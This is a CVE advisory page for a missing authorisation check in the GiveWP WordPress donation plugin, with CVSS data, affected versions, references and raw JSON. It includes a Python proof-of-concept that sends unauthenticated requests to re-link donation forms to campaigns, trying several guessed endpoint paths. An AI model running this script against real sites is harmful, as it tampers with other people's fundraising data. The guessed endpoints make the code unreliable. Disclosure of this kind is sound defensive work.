Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11228 CVSS 5.3 MEDIUM

CVE-2025-11228

Published: 2025-10-04 03:15:37
Last Modified: 2025-11-26 17:04:31

Description

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `registerAssociateFormsWithCampaign` function in all versions up to, and including, 4.10.0. This makes it possible for unauthenticated attackers to associate any donation forms with any campaign.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:* - VULNERABLE
GiveWP Plugin <= 4.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-11228 - GiveWP Plugin Unauthorized Data Modification PoC Vulnerability: Missing capability check on registerAssociateFormsWithCampaign function Affected: GiveWP Plugin for WordPress <= 4.10.0 """ import requests import sys import argparse def exploit(target_url, form_id, campaign_id): """ Exploit CVE-2025-11228 by associating a donation form with a campaign without authentication. """ # WordPress REST API base path api_base = f"{target_url.rstrip('/')}/wp-json" # Common REST API endpoints for GiveWP donation forms endpoints = [ f"{api_base}/give/v1/donation-forms/associate-campaign", f"{api_base}/give/v2/donation-forms/associate-campaign", f"{api_base}/wp/v2/give_campaigns/associate-form", ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } payload = { "form_id": form_id, "campaign_id": campaign_id } for endpoint in endpoints: print(f"[*] Trying endpoint: {endpoint}") try: response = requests.post( endpoint, json=payload, headers=headers, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code in [200, 201]: print(f"[SUCCESS] Form {form_id} associated with campaign {campaign_id}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-11228 PoC") parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL") parser.add_argument("-f", "--form-id", required=True, help="Donation Form ID") parser.add_argument("-c", "--campaign-id", required=True, help="Campaign ID") args = parser.parse_args() exploit(args.url, args.form_id, args.campaign_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11228", "sourceIdentifier": "[email protected]", "published": "2025-10-04T03:15:37.043", "lastModified": "2025-11-26T17:04:30.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `registerAssociateFormsWithCampaign` function in all versions up to, and including, 4.10.0. This makes it possible for unauthenticated attackers to associate any donation forms with any campaign."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "4.10.1", "matchCriteriaId": "8DC55D80-8F3E-4BCF-A8E5-077D85206D39"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/give/tags/4.9.0/src/DonationForms/Routes/DonationFormsEntityRoute.php#L131", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3371948%40give&new=3371948%40give&sfp_email=&sfph_mail=", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ddf9a043-5eb6-46fd-88c2-0f5a04f73fc9?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}